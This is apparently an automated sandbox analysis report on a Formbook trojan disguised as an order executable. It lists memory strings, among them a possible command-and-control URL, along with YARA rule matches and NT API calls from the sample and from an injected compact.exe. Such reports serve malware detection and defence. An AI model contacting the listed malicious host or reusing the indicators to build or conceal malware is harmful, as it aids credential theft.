Source: compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://delivery.consentmanager.net
Source: compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: compact.exe, 0000000A.00000002.4574298276.0000000004308000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000003098000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://hao7.vip
Source: compact.exe, 0000000A.00000002.4574298276.0000000004AE2000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000000A.00000002.4577738363.0000000006460000.00000004.00000800.00020000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000003872000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://img.sedoparking.com/templates/images/hero_nc.svg
Source: compact.exe, 0000000A.00000002.4565290385.000000000312A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: compact.exe, 0000000A.00000002.4565290385.00000000030FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: compact.exe, 0000000A.00000003.2683460496.0000000007F3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: compact.exe, 0000000A.00000002.4565290385.00000000030FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2)
Source: compact.exe, 0000000A.00000002.4565290385.00000000030FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: compact.exe, 0000000A.00000002.4565290385.000000000312A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: compact.exe, 0000000A.00000002.4565290385.00000000030FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: compact.exe, 0000000A.00000002.4565290385.00000000030FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: compact.exe, 0000000A.00000002.4565290385.000000000312A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://support.hostgator.com/
Source: compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000000E.00000002.2790664074.00000000256C4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.fondazionegtech.org/jmiz/?OdjTHtuX=FlIs%20r8zH5IdzVyrxFdSYjESHC6F8ED2JjV8fIhoTiEGriidwWK
Source: compact.exe, 0000000A.00000002.4574298276.0000000004AE2000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000000A.00000002.4577738363.0000000006460000.00000004.00000800.00020000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000003872000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.namecheap.com/domains/registration/results/?domain=easybackpage.net
Source: EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000003872000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.sedo.com/services/parking.php3

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 5.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2506231029.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4564032756.0000000002E10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4565204551.00000000030A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2506704352.0000000000E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4571364654.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4576370278.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4571646187.0000000003D30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2507910619.0000000002B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 5.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 5.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2506231029.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.4564032756.0000000002E10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.4565204551.00000000030A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2506704352.0000000000E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.4571364654.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.4576370278.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.4571646187.0000000003D30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2507910619.0000000002B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

.NET source code contains very large array initializations

Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.77e0000.5.raw.unpack, -Module-.cs	Large array initialization: _200D_200D_202B_206F_206A_206B_202B_200B_200D_206D_200C_206B_206A_200B_202E_200C_200E_202A_200E_206D_206F_202D_206F_206D_206C_200F_206A_202D_206C_202B_206A_206F_202A_206A_200E_200F_200B_200F_202E_202D_202E: array initializer size 3088
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.27bc388.0.raw.unpack, -Module-.cs	Large array initialization: _200D_200D_202B_206F_206A_206B_202B_200B_200D_206D_200C_206B_206A_200B_202E_200C_200E_202A_200E_206D_206F_202D_206F_206D_206C_200F_206A_202D_206C_202B_206A_206F_202A_206A_200E_200F_200B_200F_202E_202D_202E: array initializer size 3088

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0042B683 NtClose,	5_2_0042B683
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2B60 NtClose,LdrInitializeThunk,	5_2_013F2B60
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_013F2DF0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_013F2C70
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F35C0 NtCreateMutant,LdrInitializeThunk,	5_2_013F35C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F4340 NtSetContextThread,	5_2_013F4340
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F4650 NtSuspendThread,	5_2_013F4650
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2BA0 NtEnumerateValueKey,	5_2_013F2BA0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2B80 NtQueryInformationFile,	5_2_013F2B80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2BF0 NtAllocateVirtualMemory,	5_2_013F2BF0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2BE0 NtQueryValueKey,	5_2_013F2BE0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2AB0 NtWaitForSingleObject,	5_2_013F2AB0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2AF0 NtWriteFile,	5_2_013F2AF0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2AD0 NtReadFile,	5_2_013F2AD0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2D30 NtUnmapViewOfSection,	5_2_013F2D30
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2D10 NtMapViewOfSection,	5_2_013F2D10
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2D00 NtSetInformationFile,	5_2_013F2D00
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2DB0 NtEnumerateKey,	5_2_013F2DB0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2DD0 NtDelayExecution,	5_2_013F2DD0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2C00 NtQueryInformationProcess,	5_2_013F2C00
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2C60 NtCreateKey,	5_2_013F2C60
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2CA0 NtQueryInformationToken,	5_2_013F2CA0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2CF0 NtOpenProcess,	5_2_013F2CF0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2CC0 NtQueryVirtualMemory,	5_2_013F2CC0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2F30 NtCreateSection,	5_2_013F2F30
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2F60 NtCreateProcessEx,	5_2_013F2F60
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2FB0 NtResumeThread,	5_2_013F2FB0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2FA0 NtQuerySection,	5_2_013F2FA0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2F90 NtProtectVirtualMemory,	5_2_013F2F90
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2FE0 NtCreateFile,	5_2_013F2FE0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2E30 NtWriteVirtualMemory,	5_2_013F2E30
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2EA0 NtAdjustPrivilegesToken,	5_2_013F2EA0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2E80 NtReadVirtualMemory,	5_2_013F2E80
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2EE0 NtQueueApcThread,	5_2_013F2EE0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F3010 NtOpenDirectoryObject,	5_2_013F3010
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F3090 NtSetValueKey,	5_2_013F3090
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F39B0 NtGetContextThread,	5_2_013F39B0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F3D10 NtOpenProcessToken,	5_2_013F3D10
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F3D70 NtOpenThread,	5_2_013F3D70
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03604340 NtSetContextThread,LdrInitializeThunk,	10_2_03604340
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03604650 NtSuspendThread,LdrInitializeThunk,	10_2_03604650
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602B60 NtClose,LdrInitializeThunk,	10_2_03602B60
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602BE0 NtQueryValueKey,LdrInitializeThunk,	10_2_03602BE0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	10_2_03602BF0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602BA0 NtEnumerateValueKey,LdrInitializeThunk,	10_2_03602BA0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602AF0 NtWriteFile,LdrInitializeThunk,	10_2_03602AF0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602AD0 NtReadFile,LdrInitializeThunk,	10_2_03602AD0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602F30 NtCreateSection,LdrInitializeThunk,	10_2_03602F30
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602FE0 NtCreateFile,LdrInitializeThunk,	10_2_03602FE0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602FB0 NtResumeThread,LdrInitializeThunk,	10_2_03602FB0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602EE0 NtQueueApcThread,LdrInitializeThunk,	10_2_03602EE0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602E80 NtReadVirtualMemory,LdrInitializeThunk,	10_2_03602E80
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602D30 NtUnmapViewOfSection,LdrInitializeThunk,	10_2_03602D30
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602D10 NtMapViewOfSection,LdrInitializeThunk,	10_2_03602D10
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602DF0 NtQuerySystemInformation,LdrInitializeThunk,	10_2_03602DF0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602DD0 NtDelayExecution,LdrInitializeThunk,	10_2_03602DD0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602C60 NtCreateKey,LdrInitializeThunk,	10_2_03602C60
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602C70 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_03602C70
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602CA0 NtQueryInformationToken,LdrInitializeThunk,	10_2_03602CA0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_036035C0 NtCreateMutant,LdrInitializeThunk,	10_2_036035C0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_036039B0 NtGetContextThread,LdrInitializeThunk,	10_2_036039B0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602B80 NtQueryInformationFile,	10_2_03602B80
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602AB0 NtWaitForSingleObject,	10_2_03602AB0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602F60 NtCreateProcessEx,	10_2_03602F60
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602FA0 NtQuerySection,	10_2_03602FA0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602F90 NtProtectVirtualMemory,	10_2_03602F90
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602E30 NtWriteVirtualMemory,	10_2_03602E30
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602EA0 NtAdjustPrivilegesToken,	10_2_03602EA0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602D00 NtSetInformationFile,	10_2_03602D00
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602DB0 NtEnumerateKey,	10_2_03602DB0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602C00 NtQueryInformationProcess,	10_2_03602C00
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602CF0 NtOpenProcess,	10_2_03602CF0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03602CC0 NtQueryVirtualMemory,	10_2_03602CC0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03603010 NtOpenDirectoryObject,	10_2_03603010
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03603090 NtSetValueKey,	10_2_03603090
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03603D70 NtOpenThread,	10_2_03603D70
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_03603D10 NtOpenProcessToken,	10_2_03603D10
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E382E0 NtClose,	10_2_02E382E0
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E38250 NtDeleteFile,	10_2_02E38250
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E38010 NtCreateFile,	10_2_02E38010
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E38170 NtReadFile,	10_2_02E38170
Source: C:\Windows\SysWOW64\compact.exe	Code function: 10_2_02E38430 NtAllocateVirtualMemory,	10_2_02E38430

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_00A74B0C	0_2_00A74B0C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_00A7D364	0_2_00A7D364
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_047C6C58	0_2_047C6C58
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_047C5D30	0_2_047C5D30
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_047C1198	0_2_047C1198
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_053072F0	0_2_053072F0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_05307F28	0_2_05307F28
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_05302460	0_2_05302460
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_05302459	0_2_05302459
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_05308779	0_2_05308779
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_0530279F	0_2_0530279F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_05308788	0_2_05308788
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_053027EB	0_2_053027EB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_0530F630	0_2_0530F630
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_05303D30	0_2_05303D30
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_05307F18	0_2_05307F18
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_05303EE3	0_2_05303EE3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_05301918	0_2_05301918
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_0530190A	0_2_0530190A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_05307978	0_2_05307978
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_05307967	0_2_05307967
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_0530FA68	0_2_0530FA68
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_004010B0	5_2_004010B0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00403140	5_2_00403140
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0041020A	5_2_0041020A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00410213	5_2_00410213
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0042DAB3	5_2_0042DAB3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00416B61	5_2_00416B61
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00416B63	5_2_00416B63
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00402460	5_2_00402460
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00410433	5_2_00410433
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0040E4B3	5_2_0040E4B3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00402660	5_2_00402660
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0040E68E	5_2_0040E68E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01448158	5_2_01448158
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B0100	5_2_013B0100
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145A118	5_2_0145A118
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014781CC	5_2_014781CC
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014801AA	5_2_014801AA
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014741A2	5_2_014741A2
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01452000	5_2_01452000
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147A352	5_2_0147A352
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014803E6	5_2_014803E6
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CE3F0	5_2_013CE3F0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01460274	5_2_01460274
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014402C0	5_2_014402C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0535	5_2_013C0535
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01480591	5_2_01480591
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01472446	5_2_01472446
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01464420	5_2_01464420
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0146E4F6	5_2_0146E4F6
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770	5_2_013C0770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E4750	5_2_013E4750
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BC7C0	5_2_013BC7C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DC6E0	5_2_013DC6E0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D6962	5_2_013D6962
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0148A9A6	5_2_0148A9A6
